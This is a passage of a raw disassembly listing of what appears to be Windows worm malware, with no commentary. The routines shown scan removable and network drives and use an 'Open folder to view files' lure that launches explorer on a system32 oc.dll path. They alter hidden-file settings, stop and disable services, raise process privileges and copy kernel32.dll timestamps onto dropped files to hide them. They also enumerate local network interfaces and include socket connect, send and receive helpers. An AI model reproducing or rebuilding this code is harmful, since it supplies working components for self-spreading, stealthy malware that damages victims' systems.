jz short loc_9AB1DD
cmp [ebp+var_1], 1
jle short loc_9AB1DD
mov al, [ebp+var_1]
add al, 41h
mov [ebp+Src], al
lea eax, [ebp+Src]
push eax ; lpRootPathName
mov [ebp+var_7], 3Ah
mov [ebp+var_6], 5Ch
mov [ebp+var_5], 0
call GetDriveTypeA
cmp eax, 2
mov [ebp+var_10], eax
jz short loc_9AB1B1
cmp eax, 4
jnz short loc_9AB1DD
loc_9AB1B1: ; CODE XREF: sub_9AB156+54j
push 8 ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov esi, eax
test esi, esi
jz short loc_9AB1DD
mov eax, [ebp+var_10]
mov [esi], eax
lea eax, [ebp+Src]
push eax ; Src
call _strdup
pop ecx
push esi ; LPVOID
mov [esi+4], eax
call sub_9AABA4
push ebx ; dwMilliseconds
call edi ; Sleep
loc_9AB1DD: ; CODE XREF: sub_9AB156+28j
; sub_9AB156+2Ej ...
shr [ebp+var_C], 1
inc [ebp+var_1]
cmp [ebp+var_1], 1Ah
jl short loc_9AB17A
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_9AB156 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AB1F2 proc near ; CODE XREF: sub_9A799E+190p
CommandLine = byte ptr -228h
var_125 = byte ptr -125h
Dest = byte ptr -124h
var_21 = byte ptr -21h
Dst = byte ptr -20h
push ebp
mov ebp, esp
sub esp, 228h
push ebx
push esi
push edi
xor ebx, ebx
push ebx ; Data
push offset aCheckedvalue ; "CheckedValue"
push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call sub_9AC0F9
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call memset
add esp, 1Ch
push 1 ; bSet
push 40021h ; dwMask
lea eax, [ebp+Dst]
push eax ; lpss
call SHGetSetSettings
mov esi, 104h
push esi ; Count
lea eax, [ebp+Dest]
push offset ExistingFileName ; "c:\\windows\\system32\\oc.dll"
push eax ; Dest
call strncpy
add esp, 0Ch
mov [ebp+var_21], bl
xor edi, edi
loc_9AB255: ; CODE XREF: sub_9AB1F2+7Ej
lea eax, [ebp+Dest]
push 5Ch ; Ch
push eax ; Str
call strrchr
cmp eax, ebx
pop ecx
pop ecx
jz short loc_9AB272
inc edi
cmp edi, 3
mov [eax], bl
jl short loc_9AB255
loc_9AB272: ; CODE XREF: sub_9AB1F2+76j
cmp [ebp+Dest], bl
jnz short loc_9AB28D
lea eax, [ebp+Dest]
push offset a__0 ; "."
push eax ; Dest
call strcpy
pop ecx
pop ecx
loc_9AB28D: ; CODE XREF: sub_9AB1F2+86j
lea eax, [ebp+Dest]
push eax
push offset aExplorerS ; "explorer %s"
lea eax, [ebp+CommandLine]
push esi ; Count
push eax ; Dest
call _snprintf
lea eax, [ebp+CommandLine]
push 1 ; int
push eax ; lpCommandLine
mov [ebp+var_125], bl
call sub_9AC2CA
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_9AB1F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AB2C3 proc near ; CODE XREF: StartAddress:loc_9A7967p
ThreadId = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push offset aShell32_dll ; "shell32.dll"
call GetModuleHandleA
xor ebx, ebx
cmp eax, ebx
mov esi, offset Buffer
jz short loc_9AB301
push 100h ; cchBufferMax
push esi ; lpBuffer
push 4302h ; uID
push eax ; hInstance
call LoadStringA
test eax, eax
jz short loc_9AB301
push esi ; Str
call strlen
test eax, eax
pop ecx
jnz short loc_9AB30E
loc_9AB301: ; CODE XREF: sub_9AB2C3+1Bj
; sub_9AB2C3+31j
push offset aOpenFolderToVi ; "Open folder to view files"
push esi ; Dest
call strcpy
pop ecx
pop ecx
loc_9AB30E: ; CODE XREF: sub_9AB2C3+3Cj
mov esi, CreateThread
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset sub_9AB156 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call esi ; CreateThread
mov edi, CloseHandle
push eax ; hObject
call edi ; CloseHandle
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset sub_9AB0A3 ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call esi ; CreateThread
push eax ; hObject
call edi ; CloseHandle
pop edi
pop esi
pop ebx
leave
retn
sub_9AB2C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AB343 proc near ; CODE XREF: sub_9A9072:loc_9A90C0p
; sub_9AEA12+24p
RootPathName = byte ptr -108h
var_105 = byte ptr -105h
VolumeSerialNumber= dword ptr -4
push ebp
mov ebp, esp
sub esp, 108h
push 104h ; uSize
lea eax, [ebp+RootPathName]
push eax ; lpBuffer
mov [ebp+VolumeSerialNumber], 12345678h
call GetSystemDirectoryA
xor eax, eax
push eax ; nFileSystemNameSize
push eax ; lpFileSystemNameBuffer
push eax ; lpFileSystemFlags
push eax ; lpMaximumComponentLength
lea ecx, [ebp+VolumeSerialNumber]
push ecx ; lpVolumeSerialNumber
push eax ; nVolumeNameSize
push eax ; lpVolumeNameBuffer
mov [ebp+var_105], al
lea eax, [ebp+RootPathName]
push eax ; lpRootPathName
call GetVolumeInformationA
mov eax, [ebp+VolumeSerialNumber]
leave
retn
sub_9AB343 endp
; =============== S U B R O U T I N E =======================================
sub_9AB389 proc near ; CODE XREF: sub_9A8DB4+7p
; sub_9AC5BB+BCp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor eax, eax
mov edx, ecx
and edx, 0FFFFh
inc eax
cmp edx, 0A8C0h
jz short loc_9AB3B3
cmp cl, 0Ah
jz short loc_9AB3B3
and ecx, 0F0FFh
cmp ecx, 10ACh
jnz short locret_9AB3B5
loc_9AB3B3: ; CODE XREF: sub_9AB389+15j
; sub_9AB389+1Aj
xor eax, eax
locret_9AB3B5: ; CODE XREF: sub_9AB389+28j
retn
sub_9AB389 endp
; =============== S U B R O U T I N E =======================================
sub_9AB3B6 proc near ; CODE XREF: sub_9AB41B+A4p
; sub_9AC5BB+AFp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
and ecx, 0FFh
xor eax, eax
cmp ecx, 7Fh
jz short loc_9AB419
test ecx, ecx
jz short loc_9AB419
mov ecx, esi
and ecx, 0FFFFh
cmp ecx, 0FEA9h
jz short loc_9AB419
mov ecx, esi
and ecx, 0FEFFh
cmp ecx, 12C6h
jz short loc_9AB419
mov ecx, esi
and ecx, 0FFFFFFh
cmp ecx, 0FFFFFDh
jz short loc_9AB419
mov ecx, esi
mov edx, 0F0h
and ecx, edx
cmp ecx, 0E0h
jz short loc_9AB419
cmp ecx, edx
jz short loc_9AB419
cmp esi, 0FFFFFFFFh
jz short loc_9AB419
inc eax
loc_9AB419: ; CODE XREF: sub_9AB3B6+12j
; sub_9AB3B6+16j ...
pop esi
retn
sub_9AB3B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB41B(void *Dst, int)
sub_9AB41B proc near ; CODE XREF: sub_9ACABE+62p
; sub_9ACABE+3ACp
vOutBuffer = byte ptr -4C14h
s = dword ptr -14h
var_10 = dword ptr -10h
cbBytesReturned = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 4C14h
call __alloca_probe
push ebx
push esi
mov esi, [ebp+Dst]
push edi
mov edi, [ebp+arg_4]
lea eax, [edi+edi*2]
shl eax, 2
push eax ; Size
xor ebx, ebx
push ebx ; Val
push esi ; Dst
mov [ebp+var_4], ebx
call memset
add esp, 0Ch
push ebx ; protocol
push 1 ; type
push 2 ; af
call socket
cmp eax, 0FFFFFFFFh
mov [ebp+s], eax
jz loc_9AB508
push ebx ; lpCompletionRoutine
push ebx ; lpOverlapped
lea ecx, [ebp+cbBytesReturned]
push ecx ; lpcbBytesReturned
push 4C00h ; cbOutBuffer
lea ecx, [ebp+vOutBuffer]
push ecx ; lpvOutBuffer
push ebx ; cbInBuffer
push ebx ; lpvInBuffer
push 4004747Fh ; dwIoControlCode
push eax ; s
call WSAIoctl
test eax, eax
jnz short loc_9AB4FF
mov eax, [ebp+cbBytesReturned]
push 4Ch
xor edx, edx
pop ecx
div ecx
mov [ebp+var_8], ebx
cmp eax, ebx
mov [ebp+cbBytesReturned], eax
jbe short loc_9AB4FF
lea ebx, [ebp+vOutBuffer]
add esi, 8
jmp short loc_9AB4A4
; ---------------------------------------------------------------------------
loc_9AB4A1: ; CODE XREF: sub_9AB41B+E2j
mov edi, [ebp+arg_4]
loc_9AB4A4: ; CODE XREF: sub_9AB41B+84j
cmp [ebp+var_4], edi
jnb short loc_9AB4FF
mov eax, [ebx+8]
mov edi, [ebx+38h]
and edi, eax
mov [ebp+var_10], eax
mov eax, [ebx]
test al, 1
jz short loc_9AB4F1
test al, 4
jnz short loc_9AB4F1
push edi
call sub_9AB3B6
test eax, eax
pop ecx
jz short loc_9AB4F1
cmp [ebp+var_10], 0
jz short loc_9AB4F1
cmp [ebp+var_10], 0FFFFFFFFh
jz short loc_9AB4F1
push dword ptr [ebx+38h] ; netlong
call __imp_ntohl_0
mov ecx, [ebp+var_10]
inc [ebp+var_4]
not eax
mov [esi-8], ecx
mov [esi-4], edi
mov [esi], eax
add esi, 0Ch
loc_9AB4F1: ; CODE XREF: sub_9AB41B+9Dj
; sub_9AB41B+A1j ...
inc [ebp+var_8]
mov eax, [ebp+var_8]
add ebx, 4Ch
cmp eax, [ebp+cbBytesReturned]
jb short loc_9AB4A1
loc_9AB4FF: ; CODE XREF: sub_9AB41B+65j
; sub_9AB41B+79j ...
push [ebp+s] ; s
call closesocket
loc_9AB508: ; CODE XREF: sub_9AB41B+3Dj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_9AB41B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AB510 proc near ; CODE XREF: sub_9A752A+36p
; StartAddress+15p ...
PerformanceCount= LARGE_INTEGER ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
call GetCurrentThreadId
mov esi, eax
call GetCurrentProcessId
mov edi, eax
lea eax, [ebp+PerformanceCount]
push eax ; lpPerformanceCount
call QueryPerformanceCounter
test eax, eax
jnz short loc_9AB53F
and dword ptr [ebp+PerformanceCount+4], eax
mov dword ptr [ebp+PerformanceCount], 4362AEB0h
loc_9AB53F: ; CODE XREF: sub_9AB510+23j
call GetTickCount
xor eax, dword ptr [ebp+PerformanceCount]
xor eax, edi
xor eax, esi
push eax ; Seed
call srand
pop ecx
pop edi
pop esi
leave
retn
sub_9AB510 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AB558(LPCSTR lpServiceName)
sub_9AB558 proc near ; CODE XREF: StartAddress+13Ap
; StartAddress+157p ...
hSCObject = dword ptr -20h
ServiceStatus = _SERVICE_STATUS ptr -1Ch
lpServiceName = dword ptr 4
sub esp, 20h
push ebp
push edi
push 0F003Fh ; dwDesiredAccess
xor edi, edi
push edi ; lpDatabaseName
push edi ; lpMachineName
xor ebp, ebp
call OpenSCManagerA
cmp eax, edi
mov [esp+28h+hSCObject], eax
jz short loc_9AB5D4
push ebx
push esi
push 20022h ; dwDesiredAccess
push [esp+34h+lpServiceName] ; lpServiceName
push eax ; hSCManager
call OpenServiceA
mov ebx, CloseServiceHandle
mov esi, eax
cmp esi, edi
jz short loc_9AB5CC
lea eax, [esp+30h+ServiceStatus]
push eax ; lpServiceStatus
push 1 ; dwControl
push esi ; hService
call ControlService
mov ebp, eax
cmp ebp, edi
jz short loc_9AB5B3
push 0FA0h ; dwMilliseconds
call Sleep
loc_9AB5B3: ; CODE XREF: sub_9AB558+4Ej
push edi ; lpDisplayName
push edi ; lpPassword
push edi ; lpServiceStartName
push edi ; lpDependencies
push edi ; lpdwTagId
push edi ; lpLoadOrderGroup
push edi ; lpBinaryPathName
push 0FFFFFFFFh ; dwErrorControl
push 4 ; dwStartType
push 0FFFFFFFFh ; dwServiceType
push esi ; hService
call ChangeServiceConfigA
push esi ; hSCObject
or ebp, eax
call ebx ; CloseServiceHandle
loc_9AB5CC: ; CODE XREF: sub_9AB558+3Aj
push [esp+30h+hSCObject] ; hSCObject
call ebx ; CloseServiceHandle
pop esi
pop ebx
loc_9AB5D4: ; CODE XREF: sub_9AB558+1Cj
pop edi
mov eax, ebp
pop ebp
add esp, 20h
retn
sub_9AB558 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB5DC(LPCSTR lpName, int)
sub_9AB5DC proc near ; CODE XREF: sub_9A7170+93p
; sub_9A799E+4Fp
NewState = _TOKEN_PRIVILEGES ptr -14h
hObject = dword ptr -4
lpName = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push edi
lea eax, [ebp+hObject]
push eax ; TokenHandle
push 28h ; DesiredAccess
xor edi, edi
call GetCurrentProcess
push eax ; ProcessHandle
call OpenProcessToken
test eax, eax
jz short loc_9AB642
mov eax, [ebp+arg_4]
neg eax
sbb eax, eax
and eax, 2
mov [ebp+NewState.Privileges.Attributes], eax
lea eax, [ebp+NewState.Privileges]
push eax ; lpLuid
push [ebp+lpName] ; lpName
mov [ebp+NewState.PrivilegeCount], 1
push edi ; lpSystemName
call LookupPrivilegeValueA
test eax, eax
jz short loc_9AB639
push edi ; ReturnLength
push edi ; PreviousState
push 10h ; BufferLength
lea eax, [ebp+NewState]
push eax ; NewState
push edi ; DisableAllPrivileges
push [ebp+hObject] ; TokenHandle
call AdjustTokenPrivileges
test eax, eax
jz short loc_9AB639
inc edi
loc_9AB639: ; CODE XREF: sub_9AB5DC+44j
; sub_9AB5DC+5Aj
push [ebp+hObject] ; hObject
call CloseHandle
loc_9AB642: ; CODE XREF: sub_9AB5DC+1Ej
mov eax, edi
pop edi
leave
retn
sub_9AB5DC endp
; =============== S U B R O U T I N E =======================================
sub_9AB647 proc near ; CODE XREF: sub_9A752A+31p
; sub_9A799E+AEp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov edi, [esp+0Ch+arg_4]
xor esi, esi
test edi, edi
jle short loc_9AB66F
loc_9AB658: ; CODE XREF: sub_9AB647+26j
call rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [esi+ebx], dl
inc esi
cmp esi, edi
jl short loc_9AB658
loc_9AB66F: ; CODE XREF: sub_9AB647+Fj
mov byte ptr [ebx+edi], 0
pop edi
pop esi
pop ebx
retn
sub_9AB647 endp
; =============== S U B R O U T I N E =======================================
sub_9AB677 proc near ; CODE XREF: sub_9A8326+81p
; sub_9A8326+BAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov edi, [esp+0Ch+arg_4]
xor esi, esi
test edi, edi
jle short loc_9AB6A0
loc_9AB688: ; CODE XREF: sub_9AB677+27j
call rand
push 1Ah
cdq
pop ecx
idiv ecx
add edx, 61h
mov [ebx+esi*2], dx
inc esi
cmp esi, edi
jl short loc_9AB688
loc_9AB6A0: ; CODE XREF: sub_9AB677+Fj
and word ptr [ebx+edi*2], 0
pop edi
pop esi
pop ebx
retn
sub_9AB677 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB6A9(LPCSTR lpFileName)
sub_9AB6A9 proc near ; CODE XREF: sub_9A752A+FEp
; sub_9A8326+200p ...
FileName = byte ptr -11Ch
LastWriteTime = _FILETIME ptr -18h
CreationTime = _FILETIME ptr -10h
LastAccessTime = _FILETIME ptr -8
lpFileName = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
push edi
push 104h ; nSize
lea eax, [ebp+FileName]
push eax ; lpFilename
push offset aKernel32_dll ; "kernel32.dll"
call GetModuleHandleA
push eax ; hModule
call GetModuleFileNameA
mov esi, CreateFileA
xor ebx, ebx
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 1 ; dwShareMode
push 80000000h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call esi ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_9AB741
lea eax, [ebp+LastWriteTime]
push eax ; lpLastWriteTime
lea eax, [ebp+LastAccessTime]
push eax ; lpLastAccessTime
lea eax, [ebp+CreationTime]
push eax ; lpCreationTime
push edi ; hFile
call GetFileTime
push edi ; hObject
mov edi, CloseHandle
call edi ; CloseHandle
push ebx ; hTemplateFile
push ebx ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_9AB741
lea eax, [ebp+LastWriteTime]
push eax ; lpLastWriteTime
lea eax, [ebp+LastAccessTime]
push eax ; lpLastAccessTime
lea eax, [ebp+CreationTime]
push eax ; lpCreationTime
push esi ; hFile
call SetFileTime
push esi ; hObject
call edi ; CloseHandle
loc_9AB741: ; CODE XREF: sub_9AB6A9+4Cj
; sub_9AB6A9+80j
pop edi
pop esi
pop ebx
leave
retn
sub_9AB6A9 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AB746(SIZE_T dwBytes)
sub_9AB746 proc near ; CODE XREF: sub_9A98F7+96p
dwBytes = dword ptr 4
push [esp+dwBytes] ; dwBytes
push 9 ; dwFlags
call GetProcessHeap
push eax ; hHeap
call HeapAlloc
retn
sub_9AB746 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AB75A(LPVOID lpMem)
sub_9AB75A proc near ; CODE XREF: sub_9A98F7+271p
lpMem = dword ptr 4
push [esp+lpMem] ; lpMem
push 0 ; dwFlags
call GetProcessHeap
push eax ; hHeap
call HeapFree
retn
sub_9AB75A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB76E(int, LPCSTR lpFileName)
sub_9AB76E proc near ; CODE XREF: sub_9A752A+A4p
; StartAddress+8Ep ...
var_C = dword ptr -0Ch
hObject = dword ptr -8
NumberOfBytesRead= dword ptr -4
arg_0 = dword ptr 8
lpFileName = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
xor esi, esi
push esi ; hTemplateFile
push esi ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push esi ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
mov [ebp+var_C], esi
call CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+hObject], eax
jz short loc_9AB7EF
push ebx
push edi
push esi ; lpFileSizeHigh
push eax ; hFile
call GetFileSize
mov edi, eax
push edi ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov ebx, eax
cmp ebx, esi
jz short loc_9AB7E4
push esi ; lpOverlapped
lea eax, [ebp+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
push edi ; nNumberOfBytesToRead
push ebx ; lpBuffer
push [ebp+hObject] ; hFile
mov [ebp+NumberOfBytesRead], esi
call ReadFile
test eax, eax
jz short loc_9AB7DD
cmp [ebp+NumberOfBytesRead], edi
jnz short loc_9AB7DD
cmp [ebp+NumberOfBytesRead], esi
jz short loc_9AB7DD
mov eax, [ebp+arg_0]
mov [ebp+var_C], ebx
mov [eax], edi
jmp short loc_9AB7E4
; ---------------------------------------------------------------------------
loc_9AB7DD: ; CODE XREF: sub_9AB76E+59j
; sub_9AB76E+5Ej ...
push ebx ; hMem
call GlobalFree
loc_9AB7E4: ; CODE XREF: sub_9AB76E+42j
; sub_9AB76E+6Dj
push [ebp+hObject] ; hObject
call CloseHandle
pop edi
pop ebx
loc_9AB7EF: ; CODE XREF: sub_9AB76E+27j
mov eax, [ebp+var_C]
pop esi
leave
retn
sub_9AB76E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB7F5(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPCSTR lpFileName)
sub_9AB7F5 proc near ; CODE XREF: sub_9A752A+C6p
; sub_9AAAA0+B6p ...
NumberOfBytesWritten= dword ptr -8
var_4 = dword ptr -4
lpBuffer = dword ptr 8
nNumberOfBytesToWrite= dword ptr 0Ch
lpFileName = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
xor esi, esi
push esi ; hTemplateFile
push esi ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push esi ; lpSecurityAttributes
push 1 ; dwShareMode
push 40000000h ; dwDesiredAccess
push [ebp+lpFileName] ; lpFileName
mov [ebp+var_4], esi
call CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_9AB862
push ebx
mov ebx, [ebp+nNumberOfBytesToWrite]
push esi ; lpOverlapped
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
push ebx ; nNumberOfBytesToWrite
push [ebp+lpBuffer] ; lpBuffer
mov [ebp+NumberOfBytesWritten], esi
push edi ; hFile
call WriteFile
test eax, eax
jz short loc_9AB844
cmp [ebp+NumberOfBytesWritten], ebx
jnz short loc_9AB844
mov [ebp+var_4], 1
loc_9AB844: ; CODE XREF: sub_9AB7F5+41j
; sub_9AB7F5+46j
push edi ; hObject
call CloseHandle
cmp [ebp+var_4], esi
pop ebx
push [ebp+lpFileName] ; lpFileName
jz short loc_9AB85C
call sub_9AB6A9
pop ecx
jmp short loc_9AB862
; ---------------------------------------------------------------------------
loc_9AB85C: ; CODE XREF: sub_9AB7F5+5Dj
call DeleteFileA
loc_9AB862: ; CODE XREF: sub_9AB7F5+26j
; sub_9AB7F5+65j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_9AB7F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB869(SOCKET s, u_long len, int)
sub_9AB869 proc near ; CODE XREF: sub_9AE3FA+7Bp
; sub_9AE3FA+C4p ...
readfds = fd_set ptr -210h
exceptfds = fd_set ptr -10Ch
timeout = timeval ptr -8
s = dword ptr 8
len = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 210h
mov ecx, [ebp+arg_8]
push ebx
push esi
mov esi, [ebp+len]
push edi
mov edi, [ebp+s]
mov [ebp+timeout.tv_sec], ecx
lea ecx, [ebp+timeout]
push ecx ; timeout
xor eax, eax
lea ecx, [ebp+exceptfds]
push ecx ; exceptfds
push eax ; writefds
lea ecx, [ebp+readfds]
xor ebx, ebx
push ecx ; readfds
inc ebx
push eax ; nfds
mov [esi], eax
mov [ebp+readfds.fd_array], edi
mov [ebp+readfds.fd_count], ebx
mov [ebp+exceptfds.fd_array], edi
mov [ebp+exceptfds.fd_count], ebx
mov [ebp+timeout.tv_usec], eax
call select
cmp eax, ebx
mov [ebp+len], eax
jl short loc_9AB924
lea eax, [ebp+exceptfds]
push eax ; fd_set *
push edi ; fd
call __WSAFDIsSet
test eax, eax
jnz short loc_9AB924
lea eax, [ebp+len]
push eax ; argp
push 4004667Fh ; cmd
push edi ; s
call ioctlsocket
cmp eax, 0FFFFFFFFh
jz short loc_9AB92F
push [ebp+len] ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov ebx, eax
test ebx, ebx
jz short loc_9AB920
push 0 ; flags
push [ebp+len] ; len
push ebx ; buf
push edi ; s
call recv
cmp eax, 0FFFFFFFFh
mov [esi], eax
jnz short loc_9AB912
and dword ptr [esi], 0
loc_9AB912: ; CODE XREF: sub_9AB869+A4j
cmp dword ptr [esi], 0
jnz short loc_9AB920
push ebx ; hMem
call GlobalFree
xor ebx, ebx
loc_9AB920: ; CODE XREF: sub_9AB869+90j
; sub_9AB869+ACj
mov eax, ebx
jmp short loc_9AB931
; ---------------------------------------------------------------------------
loc_9AB924: ; CODE XREF: sub_9AB869+59j
; sub_9AB869+6Aj
push 274Ch ; iError
call WSASetLastError
loc_9AB92F: ; CODE XREF: sub_9AB869+7Fj
xor eax, eax
loc_9AB931: ; CODE XREF: sub_9AB869+B9j
pop edi
pop esi
pop ebx
leave
retn
sub_9AB869 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB936(SOCKET s, int, int, int)
sub_9AB936 proc near ; CODE XREF: sub_9AE3FA+63p
; sub_9AE3FA+ADp ...
writefds = fd_set ptr -210h
exceptfds = fd_set ptr -10Ch
timeout = timeval ptr -8
s = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_8], edi
jle short loc_9AB9C1
mov esi, [ebp+s]
xor ebx, ebx
inc ebx
loc_9AB94F: ; CODE XREF: sub_9AB936+89j
mov eax, [ebp+arg_C]
lea ecx, [ebp+timeout]
push ecx ; timeout
lea ecx, [ebp+exceptfds]
push ecx ; exceptfds
lea ecx, [ebp+writefds]
mov [ebp+timeout.tv_sec], eax
xor eax, eax
push ecx ; writefds
push eax ; readfds
push eax ; nfds
mov [ebp+writefds.fd_array], esi
mov [ebp+writefds.fd_count], ebx
mov [ebp+exceptfds.fd_array], esi
mov [ebp+exceptfds.fd_count], ebx
mov [ebp+timeout.tv_usec], eax
call select
cmp eax, ebx
jl short loc_9AB9CD
lea eax, [ebp+exceptfds]
push eax ; fd_set *
push esi ; fd
call __WSAFDIsSet
test eax, eax
jnz short loc_9AB9CD
push eax ; flags
mov eax, [ebp+arg_8]
sub eax, edi
push eax ; len
mov eax, [ebp+arg_4]
add eax, edi
push eax ; buf
push esi ; s
call send
cmp eax, 0FFFFFFFFh
jz short loc_9AB9C8
add edi, eax
cmp edi, [ebp+arg_8]
jl short loc_9AB94F
loc_9AB9C1: ; CODE XREF: sub_9AB936+11j
mov eax, edi
loc_9AB9C3: ; CODE XREF: sub_9AB936+95j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_9AB9C8: ; CODE XREF: sub_9AB936+82j
; sub_9AB936+A2j
or eax, 0FFFFFFFFh
jmp short loc_9AB9C3
; ---------------------------------------------------------------------------
loc_9AB9CD: ; CODE XREF: sub_9AB936+58j
; sub_9AB936+69j
push 274Ch ; iError
call WSASetLastError
jmp short loc_9AB9C8
sub_9AB936 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AB9DA(SOCKET fd, int, u_short netshort, int)
sub_9AB9DA proc near ; CODE XREF: sub_9AE3FA+40p
exceptfds = fd_set ptr -228h
writefds = fd_set ptr -124h
Dst = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
timeout = timeval ptr -10h
var_8 = dword ptr -8
argp = dword ptr -4
fd = dword ptr 8
arg_4 = dword ptr 0Ch
netshort = word ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 228h
and [ebp+var_8], 0
push ebx
push esi
push edi
push 10h ; Size
xor esi, esi
lea eax, [ebp+Dst]
push 0 ; Val
inc esi
push eax ; Dst
mov [ebp+argp], esi
call memset
mov eax, [ebp+arg_4]
add esp, 0Ch
push dword ptr [ebp+netshort] ; netshort
mov [ebp+Dst], 2
mov [ebp+var_1C], eax
call ntohs
mov edi, [ebp+fd]
mov ebx, ioctlsocket
mov [ebp+var_1E], ax
lea eax, [ebp+argp]
push eax ; argp
push 8004667Eh ; cmd
push edi ; s
call ebx ; ioctlsocket
push 10h ; namelen
lea eax, [ebp+Dst]
push eax ; name
push edi ; s
call connect
cmp eax, 0FFFFFFFFh
jnz short loc_9ABA4D
call WSAGetLastError
cmp eax, 2733h
jnz short loc_9ABABE
loc_9ABA4D: ; CODE XREF: sub_9AB9DA+64j
mov eax, [ebp+arg_C]
lea ecx, [ebp+timeout]
push ecx ; timeout
lea ecx, [ebp+exceptfds]
push ecx ; exceptfds
lea ecx, [ebp+writefds]
mov [ebp+timeout.tv_sec], eax
xor eax, eax
push ecx ; writefds
push eax ; readfds
push eax ; nfds
mov [ebp+writefds.fd_array], edi
mov [ebp+writefds.fd_count], esi
mov [ebp+exceptfds.fd_array], edi
mov [ebp+exceptfds.fd_count], esi
mov [ebp+timeout.tv_usec], eax
call select
mov [ebp+arg_4], eax
lea eax, [ebp+var_8]
push eax ; argp
push 8004667Eh ; cmd
push edi ; s
call ebx ; ioctlsocket
cmp [ebp+arg_4], esi
jl short loc_9ABAB3
lea eax, [ebp+writefds]
push eax ; fd_set *
push edi ; fd
call __WSAFDIsSet
test eax, eax
jz short loc_9ABAB3
xor eax, eax
jmp short loc_9ABAC1
; ---------------------------------------------------------------------------
loc_9ABAB3: ; CODE XREF: sub_9AB9DA+C2j
; sub_9AB9DA+D3j
push 274Ch ; iError
call WSASetLastError
loc_9ABABE: ; CODE XREF: sub_9AB9DA+71j
or eax, 0FFFFFFFFh
loc_9ABAC1: ; CODE XREF: sub_9AB9DA+D7j
pop edi
pop esi
pop ebx
leave
retn
sub_9AB9DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9ABAC6(LPCSTR lpszUrl, int, int)
